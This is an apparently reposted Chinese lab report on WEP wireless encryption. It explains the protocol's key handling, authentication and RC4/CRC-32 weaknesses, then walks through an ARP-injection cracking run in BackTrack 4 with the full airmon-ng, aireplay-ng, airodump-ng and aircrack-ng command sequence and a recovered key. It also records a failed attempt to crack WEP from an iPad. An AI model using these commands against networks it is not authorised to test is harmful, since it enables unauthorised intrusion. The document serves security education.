iPad及BT4下的WEP破解实验与分析 | Network Security
iPad及BT4下的WEP破解實驗與分析
一、WEP協議工作原理
1?WEP?概述
??? WEP(Wired Equivalent Privacy)叫做有線等效加密,是一種可選的鏈路層安全機制,用來提供訪問控制、數據加密和安全性檢驗等功能,是無線領域第一個安全協議。WEP的實現在802.11中是可選項,其MPDU格式如下所示:
?
?2?密鑰派生與分發
??? WEP的密鑰在802.11(1999)以前的版本中規定為64bits(40bits?靜態Key +24bits IV),后來有些廠家將靜態共享Key拓展到了104bits,再加上24bits初始化向量便構成128bits的WEP密鑰。關于WEP的密鑰類別劃分以及密鑰名稱容易混淆,各類參考資料規范不一,本文主要參考標準定義,分為如下兩類密鑰:
Default Key(s)
Key mapping Key(s)
??? 兩者區別如下圖所示:
?
???? Default Keys常用于構建小到中型網絡,802.11規定每個系統中應該有四個Default Keys,但事實上只需要一個,支持多個Default Key主要是便于平滑改變密鑰,我們把起作用的密鑰稱作為Active Key。
Key mapping Keys的基本原則是每個移動設備都有屬于自己的密鑰,該種方式常用于構建大型網絡,這樣可以克服Default Key所帶來的密鑰維護、更新困難問題,但并不是所有的廠家都支持Key mapping Keys,每個移動設備中使用不同的密鑰在廣播處理中會帶來一些不可避免的計算問題,且AP上需要存儲每個STA端的密鑰,目前,對于廣播包的處理比較可取的方法是使用Default Key,所以目前大多數產品都只支持Default Key。
3?認證
??? WEP的認證方式有兩種:Open System及Shared Key。Open System無任何安全性可言,任何STA都可以接入網絡;Shared Key則通過共享40bits或104bits靜態密鑰來實現認證。兩者認證過程如下圖所示:
?
???????? 上圖中的challege為AP發送給STA的一個128bits的隨機數,然后STA用WEP密鑰進行加密后返回到AP端,AP驗證成功后,則返回認證成功的消息給STA,從而完成認證。
以上認證過程中所用管理幀的幀體格式如下所示:
??
??? 其中,Algorithm Number用于標識認證類型:0:Open System;1:Shared Key;
?????????Transaction Sequence用于標識認證的步驟;
?????????Status Code:用于最后一幀標識認證是否成功;
?????????Challenge Text field:128bits偽隨機數。
4?封裝/解封裝流程
??? WEP封裝過程如圖所示:
?
????? IV為初始化向量,WEP Key為密鑰,種子密鑰Seed(64或128bits)=IV+WEP Key,?Key Stream= RC4PRGA (Seed)的偽隨機數密鑰流,Plaintext為明文,CRC-32=CRC32(Plaintext)為明文的完整性校驗值,XOR為異或運算,Ciphertext為最終的密文,最后,將IV+Ciphertext一起發送出去。
WEP解封裝過程如圖所示:
?
????Ciphertext為密文,它采用與加密相同的算法產生解密偽隨機數密鑰流,再將密文與之XOR得到明文,將明文按照CRC32算法計算得到完整性校驗值CRC-32′,如果加密密鑰與解密密鑰相同,且CRC-32′= CRC-32,則接收端就得到了原始明文數據,否則解密失敗。??????
5?校驗
??? WEP在MPDU的最后添加了4個字節的CRC (Cyclic Redundancy Check)校驗,用于保證數據的完整性:
二、WEP協議的弱點分析
1??安全性分析
??? WEP加密算法實際上是利用RC4流密鑰算法作為偽隨機數產生器,將初始化向量IV和WEP密鑰組合而成的種子密鑰輸入到該隨機數產生器中生成WEP密鑰流,再由該密鑰流與WEP幀數據負載進行異或運算來完成加密的。其中,RC4流密鑰算法是將種子密鑰進行某種置換和組合運算來生成WEP密鑰流的,由于WEP幀中數據負載的第一個字節是LLC頭,這個頭信息對于每個WEP幀都是相同的,攻擊者利用猜的第一個明文字節和WEP幀數據負載密文進行異或運算就可得到PRNG生成的密鑰流中的第一字節,此外,種子密鑰中的24比特初始化矢量IV是以明文形式傳送的,攻擊者可以將其截獲,分析可知,224個數據包后肯定會出現重復的IV值,而且在實際實現中IV值重復的概率遠遠大于224,那么根據生日悖論,大約212個數據包后出現相同的IV值的概率將大于0.5,假設處于繁忙工作狀態下的AP每秒鐘可以發送1000個數據包,則在5秒后相同的IV值出現的概率就大于0.5,即使IV采用累加的方式,隔幾個小時也會出現重復的IV值,重復出現IV值的現象叫做初始化向量碰撞,這種現象對數據的機密性有極大的危害,假設我們知道發生初始化向量碰撞的兩段密文值Ciphertext1、Ciphertext2,由于明文是有統計規律的語言,結合字典攻擊,就能夠以極大概率猜測到明文Plaintext1、Plaintext2的值,并可以使用明文的CRC校驗值來判斷得到的猜測值是否正確。許多攻擊實例證明:利用已知的初始化向量IV和第一個字節密鑰流輸出,并結合RC4流密鑰算法的特點,可以通過計算確定WEP密鑰。
此外,WEP的CRC校驗算法也存在攻擊缺陷,首先,CRC檢驗和是有效數據的線性函數(針對異或操作而言,即C(x+y)=C(x)?+C(y)),利用這個性質,攻擊者可篡改明文P的內容,若攻擊者知道要傳送的明文Plaintext的具體內容(已知明文攻擊),就可算出RC4PRGA (Seed),RC4PRGA (Seed)= Plaintext+(Plaintext+RC4PRGA (Seed)),然后可構造自己的加密數據Ciphertext ‘=( Plaintext ‘,CRC32(Plaintext ‘))+RC4PRGA (Seed)和原來的IV一起發送給接收者(802.11允許IV重復使用)。
2??安全弱點歸納
????目前WEP在被動攻擊和主動攻擊中的破解都已經得到了證實,其安全弱點可以歸納成以下幾點:
1)802.2頭信息和簡單的RC4流密碼算法,導致攻擊者在客戶端并獲取到大量有效通信數據時,便可分析出WEP的密碼;
2)IV重復使用,導致在攻擊者在有客戶端且通信量少或者沒有通訊時,可以使用ARP重放的方法獲得大量有效數據;
3)無(弱)身份認證機制,導致攻擊者能和AP建立偽鏈接,進而獲得XOR后的輸出文件;
4)使用線性函數CRC32進行完整性校驗,導致攻擊者能用XOR文件偽造一個ARP包捕獲大量有效數據。
三、WEP協議在BT4中的破解
1? BT4及其破解簡介
BT4全稱Back Track four,是一個封裝好的Linux操作系統,內置大量的網絡安全檢測工具以及黑客破解軟件等。
WEP破解可大致分為兩步
1)捕獲加密數據包(獲取初始化向量IVs)
2)利用加密數據包破解
2??破解原理及步驟
根據包捕獲方式有兩種方法:靜態被動監聽、主動的注入并監聽。
靜態被動監聽,數據流量有限,IV獲取效率很低,使得破解時間代價很大;主動注入的方法提升了IV獲取速度,在有客戶端的情況下捕獲BSS內其他用戶ARP包注入,在無客戶端時關聯后構造ARP包并注入,這樣通過快速重放的方式可以短時間破解。
破解的基本理念是用aireplay-ng進行一個ARP包的重放以產生新的不同的IV,然后,aircrack-ng用這些不同的IV破解WEP密鑰。因此,選用ARP注入方式破解。
ARP注入破解實驗需要滿足條件:
①網卡和驅動支持注入;與AP物理距離足夠進,因為AP的信號強度大于實驗用的無線網卡,接收到數據并不代表能把數據發送給AP;
②待破解網絡中至少有一個有線或無線客戶端并且活躍,否則,破解所依賴的至少一個ARP包將無法得到。
注入破解的步驟如下:
①? 啟動無線接口,在監聽模式,在待破解AP的頻道
②? 測試無線設備注入AP的能力
③? 用aireplay-ng與AP的捏造一個認證(無客戶端才采用此步驟)
④? 啟動airodump-ng,在AP頻道,用bssid過濾器來收集新的IVs
⑤? 啟動aireply-ng,在ARP請求重放模式下,注入包
⑥? 啟動aircrack,用收集到的IVs破解key
應用設備和環境如下
l? MAC address of PC running aircrack-ng suite: 00:1e:65:16:83:72
l? BSSID (MAC address of access point): 00:23:54:a9:d6:20
l? ESSID (Wireless network name): westresearch
l? Access point channel: 6
l? Wireless interface: mon0
命令集如下:
Step1
airmon-ng stop ath0 // Ensure there are no other athX interfaces, If there were, stop each one.
airmon-ng start wifi0 6 // Start the wireless card on channel 6 in monitor mode.
Step2
aireplay-ng -6 -e teddy -a 00:23:54:a9:d6:20 ath0 // ensures that your card is within distance of your AP and can inject packets to it.
Step3
airodump-ng -c 6 –bssid 00:23:54:a9:d6:20 -w output mon0 //capture the IVs generated
Step4
aireplay-ng -3 -b 00:23:54:a9:d6:20 -h 00:1e:65:16:83:72 –x 300 mon0 //Open another console session and enter
Step5
aircrack-ng –b 00:23:54:a9:d6:20 output*.cap
3??命令執行結果
?
?
?
如圖所示,最終破解的key為37:DD:5A:07:41
解密的明文如下
四、WEP協議在iPad中的破解
1?? iPad破解不可行?
兩個“支持”不滿足。iPad的網卡芯片:Marvell W8686B22,芯片本身根本就不支持混雜模式,沒有支持混雜模式的驅動。通過實驗驗證了這一情況,因而用iPad攻擊WEP是不可行的。(http://www.macosx.com.cn/2011/0114/59198.html)
認清現實之前,有過的嘗試:
利用PC來注入,在iPad上用pirni接收加密包,加快捕獲速度
并計劃如果PC注入+pirni成功,編寫iPad上的注入程序+pirni
甚至考慮過將Aircrack-ng和相關驅動在iPad上編譯安裝
2? iPad能做些什么?
Pirni:在一個BSS內通過ARP欺騙將自己冒充為一節點(可以是AP)來捕獲流量,通過監聽數據來獲取敏感信息。由于是已經連接到AP,即是已經得到key,對于破解WEP無用途。(http://www.macosx.com.cn/2011/0114/59198.html)
迫不得已,將iPad連入已破解的AP,嘗試去驗證性地破解(而實際上pirni所收到的包當然都已被解密…)
3? iPad還能有助于破解嗎
接一個USB的外接(支持混雜模式的)網卡,在iPad上為該外接網卡編譯安裝驅動,但是iPad不支持USB設備,想法破滅。即是iPad以后支持USB,那已經不是iPad在破解,與實驗初衷相悖,無太大意義。
附圖:利用SSH在iPad上進行的破解嘗試
?
五、思考
1)WEP弱點的原因
IV過短,RC4本身脆弱,數據加密方式“異或”太簡單,WEP中沒有更換自動更換BSS密鑰的機制。
2)為什么ARP注入破解所需的IVs數量遠小于普通加密包,且破解(ptw方式)速度更快?
一方面,已知的明文較多,根據ARP報文幀格式,ARP包中往往只有序列號一個為未知,即幾乎全部已知明文。另一方面,單一的報文格式可以簡化優化破解算法,加快破解速度。
3)為什么注入沒有應答的ARP請求包?
這樣會通過AP產生一個ARP廣播,使aireplay-ng開始再注入。
參考文獻:
[1] Andrea Bittau, Mark Handley, Joshua Lackey.?The Final Nail in WEP’s Coffin. Retrieved 2008-03-16.
[2]“What is a WEP key?”. lirent.net. Retrieved 2008-03-11.
[3] Wireless Network Security : Comparison of WEP (Wired Equivalent Privacy) Mechanism, WPA (Wi-Fi Protected Access) and RSN (Robust Security Network) Security Protocols
[4] Adam Stubblefield1, John Ioannidis. Aviel D. Rubin. Using the Fluhrer, Mantin, and Shamir Attack to Break WEP. ?August 6, 2001
[5] Walker, Jesse. Unsafe at any key size; An analysis of the WEP encapsulation. Jan.-Feb. 2003
總結
以上是生活随笔為你收集整理的iPad及BT4下的WEP破解实验与分析 | Network Security的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 什么是第三方支付?
- 下一篇: dcn网络与公网_DCN网络安全